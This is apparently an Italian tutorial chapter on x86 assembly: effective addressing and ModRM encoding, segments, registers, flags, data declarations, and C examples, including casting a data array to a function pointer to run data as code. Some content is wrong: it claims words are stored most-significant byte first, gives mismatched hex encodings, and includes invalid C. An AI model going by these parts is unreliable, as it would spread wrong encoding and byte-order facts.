Quanto segue è relativo alla teoria dell'indirizzo effettivo cosa da cercare di comprendere per riuscire a dimesticarsi in mezzo a tutte le tipologie di indirizzamento legate alle istruzioni (MOV AX, [BP+FFFFF9], ecc.).
Fate attenzione che le informazioni legate alla tabella di codifica relativa agli indirizzi effettivi serve a calcolare gli op-code mostrati nella tabella delle istruzioni al termine di questo capitolo.
Molti accessi vengono eseguiti nei sistemi x86 mediante la tecnica dell'indirizzamento effettivo.
Ogni qualvolta che appare un indirizzamento effettivo nella lista delle istruzioni x86 è possibile utilizzare una grossa gamma di operandi in queste istruzioni.
Queste includono registri generali, variabili di memoria ed indici vari.
I registri li abbiamo gi visti (EAX, AX, EH, AL ecc.)
Le variabili di memoria possono essere a byte, word o dword e comunque anche di queste abbiamo gi parlato.
La dichiarazione avviene, lo ricordo, con :

```
DATA_PTR  DW ?
ESC_CHAR  DB ?
```

I movimenti di dati da re per queste variabili avvengono con :

```
MOV SI,DATA_PTR    ; legge DATA_PTR in  SI
LODSW              ; fetch la word puntata da  DATA_PTR
MOV DATA_PTR,SI    ; salva il valore incrementato da  LODSW
MOV BL,ESC_CHAR    ; legge la variabile a byte  ESC_CHAR
```

Alternativamente è possibile usare le parentesi [] per indicare un indirizzo.

```
MOV AL,[02000]     ; legge il contenuto di 02000 in AL
```

Spesso nei listati in esame si ha che fare con strane indicizzazioni di memoria che a volte nascondono strani concetti.
Il sistema x86 supporta dei registri usati come puntatori a basi oppure come indici.

BX e BP sono definiti base-registers.
SI e DI sono definiti index-registers.

E' possibile combinare almeno un registro base, almeno iun registro d'indice e costanti come puntatori utilizzati a run-time per determinare l'indirizzo effettivo.
I seguenti sono esempi di quanto detto.

```
MOV AX,[BX]
MOV CX,W[SI+17]
MOV AX,[BX+BP+5]
MOV AX,[BX][BP]5   ; un altro modo d scrivere la stessa istruzione
```

L'indicizzazione può essere effettuata dichiarando variabili in una struttura basicizzata (?).

```
STRUC [BP]         ; based structure
      BP_SAVE   DW ?
      RET_ADDR  DW ?
      PARM1     DW ?
      PARM2     DW ?
ENDS

INC PARM1         ; equivalente a INC W[BP+4]
```

Finalmente l'indicizzazione può essere eseguita mixando componenti espliciti con altri dichiarati.

```
TABLE    DB  4,2,1,3,5
MOV AL,TABLE[BX]
```

Avevamo detto che il processore della famiglia x86 per lo pi (sottolineo in generale in quanto dal 386 in su ci sono anche altre cose) possiede quattro registri di segmento.
Ogni registro punta a spazi di 64Kbytes.
Quando nella programmazione eseguiamo istruzioni con riferimenti ad indirizzi possiamo utilizzare certe informazioni in modo diretto od indiretto.
Ad esempio in molte istruzioni il registro di data segment viene utilizzato di default in tutte quelle istruzioni che fanno riferimento a dati.
Quando il nostro programma può stare, tra codice dati e stack, in 64Kbytes allora tutti i registri CS, DS e SS possono puntare allo stesso valore.
Chi si ricorda dell'utility fornita con le vecchie versioni del DOS, EXE2BIN, conoscer lo scopo di questo.
In pratica quando un programma possedeva queste caratteristiche allora poteva essere trasformato in un file .COM anzichè .EXE per cui dopo la compilazione e dopo il linking poteva essere preso da questo programma e trasformato in .COM.
La prerogativa era appunto che il tutto doveva stare in 64Kbytes.
Questo cambiava il modo di richiamare le funzioni e di indizzare la memoria.
Parlando di programnmi a pi segmenti si doveva parlare di chiamate ed indirizzamenti intrasegmentali ed extrasegmentali.
Chiaramente se una call o un mov doveva avvenire dentro al segmento in cui c'era l'istruzione l'indirizzo di riferimento poteva essere a 16 bits mentre se ci si riferiva all'esterno questo doveva essere a 32 bits ovvero composto da SEGMENTO:OFFSET.
In effetti nelle istruzioni intrasegmentali i regsitri di segmento venivano usati di default.
Facciamo un esempio supponendo di voler muovere in AL il valore in memoria puntato da BX.

```
MOV AL, [BX]
```

In questo caso il registro DS viene usato di default per comprendere a quale segmento DX punta.
Se si desidera trattare BX nel code segment si deve codificare :

```
CS MOV AL, [BX]
```

Fate attenzione che questo metodo viene indicato come segment ovverride e che funziona SOLO con l'istruzione successiva.
Se si avesse CS che punta ad un segmento e DS ad un altro la sequenza :

```
CS
MOV AL, [BX]
MOV AH, [BX]
```

muoverebbe in AH e AL due valori differenti (probabile) o perlomeno derivanti da due indirizi diversi.
Esistono in macroassembler direttive (ASSUME ecc.) che agiscono sui segmenti, ma come ho detto prima nei disassemblati non compaiono.
Ricordatevi anche che tutte le istruzioni permettono indirizzi effettivi comre operandi.
Ogni istruzione con un indirizzo effettivo ha un encode byte conosciuto come effective address byte seguito da un op-code di 1 byte per l'istruzione.
Per motivi oscuri l'intel chiama questo byte ModRM byte.
Se l'indirizzo effettivo è una variabile di memoria o un locazione di memoria indicizzata con un valore di offset costante diverso da 0 allora il byte dell'indirizzo effettivo sarà immediatamente seguito dall'ammontare dell'offset.
Quest'ammontare nel range tra –128 e +127 è rappresentato da un singolo byte con segno contrassegnato da D(nella tabella seguente.
L'ammontare che richiede 16bits come qantit di memoria è contrassegnato da D16.

Come tutte le quantità a 16 bits nella famiglia x86 la WORD è salvata con il byte pi significativo prima.
La seguente tabella è organizzata in 32 righe da 8 colonne e rappresentano i possibili valori per un operando relativo ad un indirizzo effettivo : 8 egistri e 24 modi di indicizzazione della memoria.
Un venticinquesimo modo, [BP] con zero come spiazzamento, è sato pre-riempito da una semplice variabile di memoria.
Se dovete codificare [BP] con nessun spiazzamento dovete prendere [BP]+D8 con il valore di D8 a zero.
Le 8 colonne della tabella riflettono informazioni relative al byte dell'indirizzo effettivo.
Normalmente questa è l'identità di altri operandi (sempre registri) di istruzioni a 2 operandi.
Queste istruzioni sono identificate da un "/r" seguito dal codic4e operativo.
Alcune volte le informazioni passate pretendono un supplemento per l'identificazione delle stesse istruzioni.
Per esempio supponiamo di voler conoscere precisamente i bytes della codifica dell'istruzione SUB B[BX+17],100.
Questa istruzione sottrae una quantità (100) da un indirizzo effettivo (B[BX+17]).
Consultanto la lista delle istruzioni si trova la forma generale SUB eb,ib (cercate le istruzioni nella lista alla fine del capitolo).

80 /5 ib   SUB eb,ib   Subtract immediate byte from EA byte

L' opcode è 80 /5 ib.
Il /5 denota un byte d'indirizzo effettivo il cui valore viene preso dalla colonna 5 della seguente tabella.
L'offset 17 decimale (11 hex) si adatta a un singolo byte D8 il quale prende il valore dalla riga "[BX] + D8".
La tabella ci dice che l'indirizzo effettivo è 6F.
Immediatamente dopo 6F c'è l'offset (11 hex).
Coniderando che il valore ib-value è 100 (64 hex) allora l'istruzione SUB B[BX+17], 100 è 80 6F 11 64.
Ripeto qnto avevo gi accennato all'inizio del capitolo.
La lista da utilizzare combinata alla seguente tabella è quella riportata al termine di questa sezione.

s =	**ES**	**CS**	**SS**	**DS**					
rb =	**AL**	**CL**	**DL**	**BL**	**AH**	**CH**	**DH**	**BH**	
rw =	**AX**	**CX**	**DX**	**BX**	**SP**	**BP**	**SI**	**DI**	
digit=	**0**	**1**	**2**	**3**	**4**	**5**	**6**	**7**	**Effective**
EA byte									**address:**
values:	**00**	**08**	**10**	**18**	**20**	**28**	**30**	**38**	**[BX + SI]**
	01	**09**	**11**	**19**	**21**	**29**	**31**	**39**	**[BX + DI]**
	02	**0A**	**12**	**1A**	**22**	**2A**	**32**	**3A**	**[BP + SI]**
	03	**0B**	**13**	**1B**	**23**	**2B**	**33**	**3B**	**[BP + DI]**
	04	**0C**	**14**	**1C**	**24**	**2C**	**34**	**3C**	**[SI]**
	05	**0D**	**15**	**1D**	**25**	**2D**	**35**	**3D**	**[DI]**
	06	**0E**	**16**	**1E**	**26**	**2E**	**36**	**3E**	**D16 (simple var)**
	07	**0F**	**17**	**1F**	**27**	**2F**	**37**	**3F**	**[BX]**
	40	**48**	**50**	**58**	**60**	**68**	**70**	**78**	**[BX + SI] + D8**
	41	**49**	**51**	**59**	**61**	**69**	**71**	**79**	**[BX + DI] + D8**
	42	**4A**	**52**	**5A**	**62**	**6A**	**72**	**7A**	**[BP + SI] + D8**
	43	**4B**	**53**	**5B**	**63**	**6B**	**73**	**7B**	**[BP + DI] + D8**
	44	**4C**	**54**	**5C**	**64**	**6C**	**74**	**7C**	**[SI] + D8**
	45	**4D**	**55**	**5D**	**65**	**6D**	**75**	**7D**	**[DI] + D8**
	46	**4E**	**56**	**5E**	**66**	**6E**	**76**	**7E**	**[BP] + D8**
	47	**4F**	**57**	**5F**	**67**	**6F**	**77**	**7F**	**[BX] + D8**
	80	**88**	**90**	**98**	**A0**	**A8**	**B0**	**B8**	**[BX + SI] + D16**

```
        81   89   91   99   A1   A9   B1   B9    [BX + DI] + D16
        82   8A   92   9A   A2   AA   B2   BA    [BP + SI] + D16
        83   8B   93   9B   A3   AB   B3   BB    [BP + DI] + D16
        84   8C   94   9C   A4   AC   B4   BC    [SI] + D16
        85   8D   95   9D   A5   AD   B5   BD    [DI] + D16
        86   8E   96   9E   A6   AE   B6   BE    [BP] + D16
        87   8F   97   9F   A7   AF   B7   BF    [BX] + D16
        C0   C8   D0   D8   E0   E8   F0   F8    ew=AX   eb=AL
        C1   C9   D1   D9   E1   E9   F1   F9    ew=CX   eb=CL
        C2   CA   D2   DA   E2   EA   F2   FA    ew=DX   eb=DL
        C3   CB   D3   DB   E3   EB   F3   FB    ew=BX   eb=BL
        C4   CC   D4   DC   E4   EC   F4   FC    ew=SP   eb=AH
        C5   CD   D5   DD   E5   ED   F5   FD    ew=BP   eb=CH
        C6   CE   D6   DE   E6   EE   F6   FE    ew=SI   eb=DH
        C7   CF   D7   DF   E7   EF   F7   FF    ew=DI   eb=BH

D8 denotes an 8-bit displacement following the EA byte,
to be sign-extended and added to the index.

D16 denotes a 16-bit displacement following the EA byte,
to be added to the index.

Default segment register is SS for effective addresses containing
a BP index; DS for other memory effective addresses.
```

Ritorniamo al discorso della segmentazione che facevamo prima di questa parte legata agli indirizzi effettivi.
Chiaramente fattori di compatibilità con i software vecchi ha obbligato a mantenere questo metodo dei segmenti attivo per cui ancora oggi troviamo spesso gli indirizzi specificati con

segmento:offset

La visione legata all'uso dei vari segmenti è sicuramente maggiore nei programmatori che vengono dal Linguaggio C dato che in quasi tutti gli altri linguaggi la visione di questi è trasparente.
Il programmatore in C, ad esempio, sa bene che le variabili dichiarate localmente ad una funzione, senza specificatori di classi di memoria particolari, vengono allocate dentro al segmento di stack per cui è sempre cura del programmatore allocare, mediante specifici flags del compilatore, le dimensioni adatte di questo.
Nel C si deve anche sapere che le variabili globali vengono definite dentro al segmento dati proprie del modulo in cui compaiono, senza contare che spesso si deve dimesticare in mezzo ai vari #pragma che influiscono sui nomi e sulle tipologie dei segmenti.
Un programma generalmente è costituito da codice e da dati.
Ogni istruzione del processore dispone di codice di operazione che definisce anche le dimensioni dell'operazione stessa e dei suoi operandi.
Il codice normalmente è ubicato in un o specifico segmento che prende appunto il nome da questo ovvero possiede il nome di code segment.
I dati usati dal programma possono essere allocati dentro ai segmenti dati oppure dentro al segmento di stack.
Mentre altri linguaggi possiedono una visione ferrea di questi concetti, anzi quasi sempre li rendono trasparenti all'utente, il linguaggio C obbliga il programmatore a tenere gli occhi aperti.
Spesso erano comuni errori in esecuzione del tipo 'Stack overflow'.
Se si andava a vedere bene il tutto ci si accorgeva che magari il compilatore di default allocava 4096 bytes per il segmento di stack.
Andando ad analizzare il codice si trovava in un punto :

```
void function()
```

```
{
      int   a[5192];
      ...
}
```

Il programma allocava nello stack 5192 * dimensione_int bytes nello stack e quindi ... ‘Stack overflow’.
Allora la soluzione era quella di chiedere al compilatore di ridimensionare lo stack.
In assembler la definizione dei segmenti avviene con la specifica di SEGMENT ed eventualmente è anche possibile stabilire l’origine.
Con il programmino che segue è possibile visualizzare i dati di stack.

```
#define STACKLOW        1

int *stacktop, *ip;

void main(int argc, char *argv[])
{
    stacktop = (int *) &argv;
    printf("&argc=%08lx  &argv=%08lx\n", &argc, &argv);
    printf("&main=%08lx  &f=%08lx  &g=%08lx\n", main, f, g);
    f(0x11112222, 0x33334444);
}

int f(int arg_1, int arg_2)
{
    g(0x55556666);
}

int g(int arg_2)
{
    int local;

    local = 0x77778888;
#ifdef  STACKLOW  /*  Stack grows towards LOWER addresses */
    for (ip = stacktop; ip >= &local; ip--)
#else             /*  Stack grows towards HIGHER addresses*/
    for (ip = stacktop; ip <= &local; ip++)
#endif
         printf("%08lx\t%08x\n", ip, *ip);
}
```

La seguente è la definizione di un segmento dati con origine a 2000.

```
DATA SEGMENT
ORG 02000

(qui ci vanno le dichiarazioni dei vostri dati)

DATA ENDS
```

Il seguente listato mostra come è possibile ricavare informazioni relative al segmento dati di un programma in esecuzione.

```
#include <afxwin.h>
#include <afxext.h>
#include <dos.h>
#include "resourc2.h"

typedef struct tagDEFAULTDATASEGMENT
    {
```

```
    HANDLE hinstActive; // instance handle of active app
    HWND   hwndActive;  // window   handle of active app
    WORD wSize,         // size (bytes) of Data Segment.
         wStaticData,   // size (bytes) of static data.
         wStackMax,     // size (bytes) of stack size defined in .DEF
         wStackUsed,    // size (bytes) of stack actually used.
         wHeapMoveable, // size (bytes) of heap allocation (moveable).
         wHeapFixed,    // size (bytes) of heap allocation (fixed).
         wHeapFree,     // size (bytes) of free space in heap.
         wOther,        // size (bytes) of remaining allocated space in DS.
         wUnused;       // size (bytes) of heap unused.
    } DEFAULTDATASEGMENT;

static DEFAULTDATASEGMENT DDS ;


void CMainDlgWindow::dds_walk ()
{
      /*     Original Code by: Chiverton Graphics, Inc. 1991
             Modified by Todd Osborne January 1994 to MFC 2.0 C++
             application with new features. CompuServe ID: 71431,2243
      */

      static DEFAULTDATASEGMENT OldDDS;

    WORD  wRecordSize,          // size in bytes of heap record.
         wStatus;              // type of heap record.

    LPSTR lpInstance,           // far pointer to Default Data Segment.
            lpHeapRecord,         // far pointer to heap record.
            lpNextHeapRecord;     // far pointer to next heap record.

    #define PREV_POINTER (*(WORD FAR*) lpHeapRecord)     // Backward "pointer"
    #define NEXT_POINTER (*(WORD FAR*)(lpHeapRecord+2))  // Forward "pointer"

    #define PSTACKBOTTOM (*(WORD FAR*)(lpInstance+14))
    #define PSTACKMIN    (*(WORD FAR*)(lpInstance+12))
    #define PSTACKTOP    (*(WORD FAR*)(lpInstance+10))
    #define PLOCALHEAP   (*(WORD FAR*)(lpInstance+ 6))

    // First, initialize the data segment values.
    DDS.wSize         = 0;
    DDS.wStaticData   = 0;
    DDS.wStackMax     = 0;
    DDS.wStackUsed    = 0;
    DDS.wHeapMoveable = 0;
    DDS.wHeapFixed    = 0;
    DDS.wHeapFree     = 0;
    DDS.wOther        = 0;
    DDS.wUnused       = 0;

    // Now, get the window that has the focus.
    DDS.hwndActive = ::GetActiveWindow ();

    // Is it a valid window?
    if ( !IsWindow (DDS.hwndActive) )  return;

    //   If this is a different window than before, get a new instance handle.
    if (DDS.hwndActive != OldDDS.hwndActive)
       {
        DDS.hinstActive = (HANDLE) GetWindowWord (DDS.hwndActive, GWW_HINSTANCE);
        if (!DDS.hinstActive) return;
        }

    //    Lock down the Data Segment
    if ( !(lpInstance = (LPSTR)GlobalLock (DDS.hinstActive))) return;

    /*
     *  The Data Segment is a global memory object - created by WINDOWS
     *  with a GlobalAlloc. It's comprised of 4 components: header,
```

```
 *  Static, stack, and local heap. All 4 components are offset
 *  into the segment, with the header at DS:0000.
 *
 *
 *  The header occupies the first 16 bytes of a Default Data Segment.
 *  Within the Header area are 3 pointers to the stack:
 *
 *  pStackBottom - (highest physical address) beginning of stack.
 *  pStackMin    - High-Water mark of actual stack use.
 *  pStackTop    - (lowest physical address) end of stack.
 *
 *  Remember, the stack grows "down" (higher to lower address), so
 *  to compute the stack sizes, we use these equations:
 *
 *   wStackMax  = pStackBottom - pStackTop ;
 *   wStackUsed = pStackBottom - pStackMin ;
 *
 *
 */
DDS.wStackMax   = PSTACKBOTTOM - PSTACKTOP ;
DDS.wStackUsed  = PSTACKBOTTOM - PSTACKMIN ;
DDS.wStaticData = PSTACKTOP ;

// First test for a heap. (It's possible there isn't one.)
if (PLOCALHEAP == 0)
   {
       GlobalUnlock (DDS.hinstActive);
       return;
   }

/*
 *  The heap begins where the
 *  stack ends. The offset that represents the
 *  beginning of the heap is stored in the header area, 6 bytes from
 *  DS:0000. Actually, the heap begins 4 bytes before this offset.
 *
 *  Now we'll get a far pointer (lpHeapRecord) to the 1st record in the heap.
 *
 */
lpHeapRecord = lpInstance + PLOCALHEAP - 4;


/*
 *  Traverse the local heap. The heap is implemented as a doubly-linked
 *  list. The 1st WORD is a backward "pointer" (ie, offset) to the
 *  previous record. The 2nd WORD is the forward pointer to the next record.
 *  When the forward pointer points to itself we are done.
 *
 */
DDS.wSize = (WORD)GlobalSize (DDS.hinstActive);

while (FP_OFF(lpHeapRecord) < DDS.wSize)
   {
       lpNextHeapRecord = (lpInstance + NEXT_POINTER);
       if (lpNextHeapRecord == lpHeapRecord) break;
     wRecordSize = lpNextHeapRecord - lpHeapRecord; //includes ptr overhead
       wStatus     = (PREV_POINTER & 0x0003);

   switch (wStatus)
   {
     case 0: DDS.wHeapFree     += wRecordSize; break;
     case 1: DDS.wHeapFixed    += wRecordSize; break;
     case 3: DDS.wHeapMoveable += wRecordSize; break;
     }

         lpHeapRecord = lpNextHeapRecord;
         }

/*
 *  At this point, heap traversal is done.
```

```
     *  However, the heap can grow until the size of DS is 64K (0xFFFF).
     *  Determine how many additional bytes the heap can grow.
    */
    DDS.wUnused = 0xFFFF   - DDS.wSize;

    // Anything else we didn't account for?
    DDS.wOther  = DDS.wSize - DDS.wStaticData
                            - DDS.wStackMax
                            - DDS.wHeapFixed
                            - DDS.wHeapFree
                            - DDS.wHeapMoveable ;

    GlobalUnlock (DDS.hinstActive);

    //   If anything has changed since last walk, update client window.
    if (DDS.hwndActive    != OldDDS.hwndActive    ||
        DDS.wHeapFree     != OldDDS.wHeapFree     ||
        DDS.wHeapFixed    != OldDDS.wHeapFixed    ||
        DDS.wHeapMoveable != OldDDS.wHeapMoveable ||
        DDS.wOther        != OldDDS.wOther        ||
        DDS.wSize         != OldDDS.wSize         ||
        DDS.wStackUsed    != OldDDS.wStackUsed)
       {
       // Update Dialog Box Values
        char sz[80];

        // Get Active Window Title
        char Title[80];
        ::GetWindowText(DDS.hwndActive, Title, 80);
        sprintf(sz, "Watching: %s", Title);
        SetDlgItemText(LBL_WATCHING, sz);

        // Fill in Memory Information
        sprintf(sz, "%u", DDS.wSize);
        SetDlgItemText(LBL_DATA0, sz);

        sprintf(sz, "%u", DDS.wStaticData);
        SetDlgItemText(LBL_DATA1, sz);

        sprintf(sz, "%u", DDS.wStackMax);
        SetDlgItemText(LBL_DATA2, sz);

        sprintf(sz, "%u", DDS.wStackUsed);
        SetDlgItemText(LBL_DATA3, sz);

        sprintf(sz, "%u", DDS.wHeapMoveable);
        SetDlgItemText(LBL_DATA4, sz);

        sprintf(sz, "%u", DDS.wHeapFixed);
        SetDlgItemText(LBL_DATA5, sz);

        sprintf(sz, "%u", DDS.wHeapFree);
        SetDlgItemText(LBL_DATA6, sz);

        sprintf(sz, "%u", DDS.wOther);
        SetDlgItemText(LBL_DATA7, sz);

        sprintf(sz, "%u", DDS.wUnused);
        SetDlgItemText(LBL_DATA8, sz);

        sprintf(sz, "%.3f", m_nTiming);
        SetDlgItemText(LBL_DATA9, sz);

        OldDDS = DDS;
       }
}
```

Il C comunque permette di vedere come di fatto è un super assembler.
Guardate il seguente esempio e capirete il perchè.

Dicevo prima che il codice viene allocato normalmente in un segmento di codice mentre le dichiarazioni globali in un segmento dati.
Se prendiamo il debugger ed andiamo a vedere come sono salvate le nostre istruzioni vediamo che sono delle lunghe sequenze di numeri che noi possiamo visualizzare in binario, esadecimale o qualsiasi base numerica che vogliamo.
Quindi un codice del tipo :

```
mov   ecx, eax
and   ecx, 000003
ecc.
```

potremmo vederlo in esadecimale come

```
8CC8        mov   ecx, aax
83E13       and   ecx, 000003
```

Il Linguaggio C possiede il concetto di CAST ovvero di forzatura il quale permette di far vedere al linguaggio delle tipologie diverse come se di fatto fossero altri tipi e quindi con propriet aritmetiche differenti dall'originale.
Prendiamo i numeri relativi al codice assembler di una funzione e inseriamoli come elementi di un array di unsigned char (1 byte).

```
unsigned char codex[] = { 0x8C, 0xC8, 0x83, 0xE1, 0x13 };
```

A questo punto dichiariamo un puntatore ad una funzione.
Un puntatore ad una funzione è lo spazio sufficiente a mantenere memorizzato l'indirizzo di una funzione.

```
void (*function)();
```

Se a questo punto invece di assegnargli l'indirizzo di una funzione eseguiamo il CAST imbrogliandolo e facendogli credere che l'indirizzo dell'array di unsigned char sia di fatto l'indirizzo di una funzione avremo che richiamando il puntatore a funzione il sistema eseguirà i numeri contenuti nell'array come se di fatto fossero codice binario.

```
(*function)() = (void(*)()) &codex[0];
```

Bello non è vero !
Il programmino in C sarebbe :

```
int a[] = { 12,23, 34,56,78 };

void (*func)() =  (void (*)()) &a[0];

void  main(void)
{
      (*func)();
}
```

Tanto per non perdere l'occhio guardate il tutto tradotto in assembler dal compilatore.

```
      TITLE test2.c
      .386P
include listing.inc
if @Version gt 510
.model FLAT
else
_TEXT SEGMENT PARA USE32 PUBLIC 'CODE'
_TEXT ENDS
_DATA SEGMENT DWORD USE32 PUBLIC 'DATA'
```

```
_DATA ENDS
CONST SEGMENT DWORD USE32 PUBLIC 'CONST'
CONST ENDS
_BSS  SEGMENT DWORD USE32 PUBLIC 'BSS'
_BSS  ENDS
_TLS  SEGMENT DWORD USE32 PUBLIC 'TLS'
_TLS  ENDS
FLAT  GROUP _DATA, CONST, _BSS
      ASSUME     CS: FLAT, DS: FLAT, SS: FLAT
endif
PUBLIC      _a
PUBLIC      _func
_DATA SEGMENT
_a    DD    0cH
      DD    017H
      DD    022H
      DD    038H
      DD    04eH
_func DD    FLAT:_a
_DATA ENDS
PUBLIC      _main
_TEXT SEGMENT
_main PROC NEAR
; File test2.c
; Line 10
      push  ebp
      mov   ebp, esp
; Line 11
      call  DWORD PTR _func
; Line 12
      pop   ebp
      ret   0
_main ENDP
_TEXT ENDS
END
```

Come potete vedere la call salta esattamente dove ci sono gli interi.

ATTENZIONE A NON ESEGUIRE IL CODICE DATO CHE GLI INTERI NON CORRIPSONDONO A NIENTE DI ESEGUIBILE. MANDERESTE IN CRASH IL SISTEMA.

Facciamo saltare il sistema ad eseguire del codice dentro al data segment.

Vediamo ora lo scopo dei registri.

EAX e **EDX** sono registri a scopo generale che possono essere utilizzati per diversi motivi.

ECX è anche lui a scopo generale. Diventa specializzato quando viene utilizzato in fasi di conteggio.

EBX è sempre general purpose anche se spesso viene utilizzato per creare indirizzi di dispiazzamento.

Come dicevo prima i registri da EAX a EDX possono essere visti come registri a 32, 16 oppure a 8 bits.
Ad esempio :

```
32    16    8     8
---   --    --    --
EAX   AX    AH    AL          [EAX[AX[AH][AL]]]
```

EBX	BX	BH	BL	[EBX[BX[BH][BL]]]
ECX	CX	CH	CL	[ECX[CX[CH][CL]]]
EDX	DX	DH	DL	[EDX[DX[DH][DL]]]

ESI ed **EDI** sono usati spesso come registri d'indice oppure vengono spesso usati per puntare a stringhe.

ESP ed **EBP** sono usati per gestire lo stack.
Una volta lo stack era fisso nei processori (preistoria).
Successivamente vennero inseriti dei registri per puntare alla base ed alla testa dello stack.
Esistono inoltre quattro registri di segmento e precisamente quelli del CODE SEGMENT, DATA SEGMENT, STACK SEGMENT ed EXTRA SEGMENT.
Questi sono CS, DS, ES, GS, FS ed SS.
Un registro particolare è quello che mantiene l'indirizzo dell'istruzione in esecuzione e precisamente EIP.
Nel processore esiste anche un registro dei flags che indicano certi stati della CPU stessa.
Gli indirizzi delle stringhe usate nei programmi vengono spesso inseriti nei registri per cui risulta spesso importante avere una panoramica dei valori a cui puntano i registri.
Spesso gli indirizzi delle stringhe o dei valori sono inseriti ad indirizzi calcolati con :

[EDX + 10]

oppure

[ECX – 2]

Per questo motivo alcuni disassemblatori possiedono finestre in cui mostrano in continuazione questi valori mentre altri permettono di richiederne la visualizzazione con appositi comandi.
La seguente finestra è di WDASM 8.9 e devo ammettere che è veramente ottima come quantità di dati mostrati.
Inoltre permette di cambiare il formato dei dati (DWORD, WORD, BYTE ecc.)
I vari valori relativi a [EAX – 10] ecc. sono mostrati nella finestra centrale.
E' possibile cambiare il registro premendo il pulsante sul lato sinistro della lista di scorrimento.
I pulsanti sul lato in basso permettono invece di fare quanto appena detto, ovvero di cambiare il formato di visualizzazione.
La visione dei registri deve essere anche contemplata nell'istante in cui si analizzano le istruzione dell'assembler 80xx.
Un registro particolare è quello dei flags il quale serve a segnalare eventi particolari.

Lo scopo di ogni singolo flag è riportato in una tabella nella pagina successiva.
Il linguaggio C dispone della specifica _ASM (ogni compilatore possiede la sua) che permette di scrivere del codice in assembler.
Queste istruzioni possono essere riassunte utilizzando una matrice in cui sono raggruppate in due gruppi e precisamente istruzioni con un solo operando o con due.
Le istruzioni sono registro a registro, registro a memoria, memoria a registro oppure possono influire su registri d'indice.
Parlando di registri ricordiamoci che i processori della classe 386 possiedono una serie di quattro registri di breakpoint che permette ai debugger di gestire tali funzionalità.
Dicevamo prima di una matrice che può mostrare i tipi di istruzioni:

```
DUE OPERANDI            UN OPERANDO
R <- M                  R
M <- R                  M
R <- R                  S *
R|M <- I
R|M <- S *
S <- R|M *

* Solamente istruzioni movimento dati (MOV, PUSH, POP)
S Registri di segmento (CS, DS, ES, SS)
R Registri ordinari EAX, EBX, ecc.)
M Uno degli indirizzi seguenti
•  Indirizzo puro
•  [BX]+offset
•  [BP]+offset
•  qualsiasi di questi indicizzati da SI
•  qualsiasi dei primi tre indicizzati da DI
```

Prima di proseguire con le istruzioni assemblative diamo un occhiata a quella che permette di dichiarare delle variabili.

FLAGS - Intel 8086 Family Flags Register

```
      |11|10|F|E|D|C|B|A|9|8|7|6|5|4|3|2|1|0|
        |  | | | | | | | | | | | | | | | | '---  CF Carry Flag
        |  | | | | | | | | | | | | | | | '---  1
        |  | | | | | | | | | | | | | | '---  PF Parity Flag
        |  | | | | | | | | | | | | | '---  0
        |  | | | | | | | | | | | | '---  AF Auxiliary Flag
        |  | | | | | | | | | | | '---  0
        |  | | | | | | | | | | '---  ZF Zero Flag
        |  | | | | | | | | | '---  SF Sign Flag
        |  | | | | | | | | '---  TF Trap Flag  (Single Step)
        |  | | | | | | | '---  IF Interrupt Flag
        |  | | | | | | '---  DF Direction Flag
        |  | | | | | '---  OF Overflow flag
        |  | | | '-----  IOPL I/O Privilege Level  (286+ only)
        |  | | '-----  NT Nested Task Flag  (286+ only)
        |  | '-----  0
        |  '-----  RF Resume Flag (386+ only)
        '------  VM  Virtual Mode Flag (386+ only)
        - see   PUSHF  POPF  STI  CLI  STD  CLD
```

Una specie di registro particolare è il seguente, presente solo nelle macchine successive al 286.

```
MSW - Machine Status Word (286+ only)
      |31|30-5|4|3|2|1|0|  Machine Status Word
        |   |  | | | | '---- Protection Enable (PE)
        |   |  | | | '----- Math Present (MP)
        |   |  | | '------ Emulation (EM)
        |   |  | '------- Task Switched (TS)
        |   |  '-------- Extension Type (ET)
        |   '---------- Reserved
        '------------- Paging (PG)
        Bit 0   PE      Protection Enable, switches processor between
                        protected and real mode
        Bit 1   MP      Math Present, controls function of the WAIT
                        instruction
        Bit 2   EM      Emulation, indicates whether coprocessor functions
                        are to be emulated
        Bit 3   TS      Task Switched, set and interrogated by coprocessor
                        on task switches and when interpretting coprocessor
                        instructions
        Bit 4   ET      Extension Type, indicates type of coprocessor in
                        system
        Bits 5-30       Reserved
        bit 31  PG      Paging, indicates whether the processor uses page
                        tables to translate linear addresses to physical
                        addresses

        - see   SMSW  LMSW
```

Abbiamo accennato prima qualche cosa a riguardo delle allocazioni delle variabili nei vari segmenti.
In linguaggi come il Basic la tipologia delle variabili riguarda in particolare modo il genere dei contenuti.
In altre parole le informazioni di tipo quantitativo possono essere inserite in variabili di tipo numerico mentre le informazioni di tipo qualitativo in variabili stringa.
In linguaggio C invece la tipologia delle variabili riguardano in particolare modo le dimensioni relative all'occupazione del dato stesso espresso in numero di bytes.
Ad esempio un carattere che occupa un solo byte può essere contenuto tranquillamente in un char anche se nessuno ci vieta di inserirlo in un int o short.
Oltre a questo nessuno ci vieta di usare la variabile per calcoli matematici.
Ad esempio fare :

```
char c = 'A';
c = c * 2;
```

è corretto.
Al limite dobbiamo stare attenti a non mandare in overflow la variabile con il risultato dell'operazione.
Il problema si pone spesso quando si usano variabili per fare calcoli.
Se ad esempio usassimo una serie di variabili per fare calcoli dobbiamo preoccuparci che le variabili siano sufficientemente grosse a mantenere i vari valori che durante i calcoli si creano.
In pratica se avessimo :

```
int n = 30000;
int x = 20;
int r = 5000;
long y;
```

saremmo, fino a questo punto, a posto.
Andremmo male facendo :

y = r + (n * r);

in quanto (n * r) darebbe un valore maggiore alle tipologie int usate nei tipi dell'operazione per cui i valori sarebbero troncati.
Questa è causa sovente di errori inspiegabili.
In assembler le variabili sono di tipo BYTE, WORD, DOUBLEWORD e sono quasi sempre dichiarate nel data segment mediante la sintassi seguente:

```
NOME_VAR    TIPO  ?
```

Ad esempio :

```
DATA_PTR    DW    ?
ESC_CHAR    DB    ?
```

Le tipologie sono :

```
(nome var opzionale)  DB  (lista valori)
(nome var opzionale)  DW  (lista valori)
(nome var opzionale)  DD  (lista valori)
(nome var opzionale)  DQ  (lista valori)
(nome var opzionale)  DT  (lista valori)
```

ovvero

```
BYTE  -> DB
WORD  -> DW
DWORD -> DD
QWORD -> DQ
TWORD -> DT
```

Nelle dichiarazioni possono essere utilizzati termini particolari come ad esempio DUP.
Le seguenti sono allocazioni valide.

```
DW 5        ; alloca una word, inizializzandola con  5
DB 0,3,0    ; alloca tre bytes, inizializzandoli con 0, 3, 0
DB 5 DUP (0)            ; equivalente a DB 0,0,0,0,0
DW 2 DUP (0,4 DUP (7))  ; equivalente a DW 0,7,7,7,7,0,7,7,7,7
```

